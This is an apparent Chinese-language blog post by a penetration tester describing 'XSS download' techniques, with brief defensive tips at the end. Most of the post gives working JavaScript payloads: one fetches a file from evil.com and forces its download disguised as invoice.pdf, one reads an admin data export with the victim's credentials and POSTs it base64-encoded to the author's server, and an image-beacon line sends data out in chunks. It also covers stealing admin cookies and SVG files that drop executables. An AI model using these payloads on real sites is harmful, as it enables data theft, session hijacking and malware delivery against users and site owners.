游客发表
上周三凌晨两点,我盯着浏览器控制台里弹出来的一行字:<img src=x onerror=alert('xss')>。目标站点没挂,但我的payload被原样吐回了页面里。那一刻我就知道,一个存储型XSS漏洞到手了。接下来要干的事,就是“下载”——不是下载文件,是把这漏洞利用链完整地“落地”下来。
很多人听到“XSS下载”第一反应是:跨站脚本怎么跟下载扯上关系?直接理解成用XSS漏洞去触发文件下载,或者更常见的是,把XSS的利用代码、payload、绕过WAF的变体打包保存下来。我干过最野的一次,是拿一个反射型XSS配合浏览器特性,硬生生把目标服务器上的一个配置文件给“下载”到了本地。
第一种,最普通:你找到了XSS,想保存证据。右键查看源码,把那段注入的脚本复制出来,存成payload.txt。这算下载吗?算,但太没技术含量。我更习惯用curl直接拉取被XSS污染的页面,命令长这样:
curl -s "https://target.com/search?q=<script>alert(1)</script>" -o xss_proof.html 这样保存下来的文件里,脚本原样躺着,以后复现或者写报告直接扔进去。
第二种,利用XSS让受害者浏览器自动下载文件。比如注入这样一段:
fetch('https://evil.com/malware.exe').then(r=>r.blob()).then(b=>{ const a=document.createElement('a'); a.href=URL.createObjectURL(b); a.download='invoice.pdf'; a.click(); }); 用户点了个评论,浏览器就悄悄下了个东西。这种“XSS下载”在钓鱼攻击里常见,但现代浏览器对跨域下载限制多了,成功率看运气。
第三种,也是我最喜欢玩的——用XSS把目标站点的敏感文件“拉”出来。比如目标有个/admin/backup.sql路径,但需要管理员权限。你通过XSS拿到管理员cookie,然后构造一个带fetch的脚本,把文件内容读成base64,再通过location.href发到你的服务器。整个过程浏览器端完成,服务器日志里看着就像管理员自己点了下载。
去年一个客户授权测试。后台有个“导出用户数据”功能,但需要二次密码。我翻到一个反射型XSS在搜索框,参数是keyword。构造payload:
<script> fetch('/admin/export?type=sql',{ credentials:'include'}) .then(r=>r.text()) .then(d=>{ fetch('https://my-vps/collect',{ method:'POST',body:btoa(d)}); }); </script> 把这段URL发给管理员,他一点,数据库备份就在我服务器上了。这算XSS下载的终极形态——下载的不是恶意软件,是目标自己的数据。
但有个坑:现代浏览器对fetch跨域写数据有CORS限制。我的VPS得设置Access-Control-Allow-Origin: *,或者用img标签带参外带。后者更隐蔽,但长度有限。我一般用new Image().src='https://vps/log?'+btoa(data),分片发送。
我帮另一个团队做代码审计时,发现他们有个奇葩逻辑:用户上传的SVG文件里允许<script>标签。攻击者上传一个SVG,里面写window.location='data:application/octet-stream;base64,...',受害者打开SVG就直接下载了一个可执行文件。这比传统XSS下载更直接,因为SVG本身就是文件。
防御措施?Content-Security-Policy加上sandbox指令,禁止allow-downloads。但很多站点CSP配得稀烂,script-src 'unsafe-inline'一开,等于门都没锁。
我自己的习惯:测试任何XSS时,先看响应头有没有Content-Disposition: attachment。如果有,那这个XSS点很可能被用来强制下载。反过来,如果我是防守方,我会在所有用户可控的输入点后面加一层htmlspecialchars,并且对Content-Type做白名单。别让浏览器猜,猜就是漏洞。
最后说个真事。有次我懒得写复杂payload,直接注入<a href="/etc/passwd" download>点我</a>。结果服务器返回了403,但浏览器还是弹了个下载框,下下来一个0字节文件。XSS下载有时候就这么荒诞——你以为是漏洞,其实是浏览器在陪你演戏。
友情链接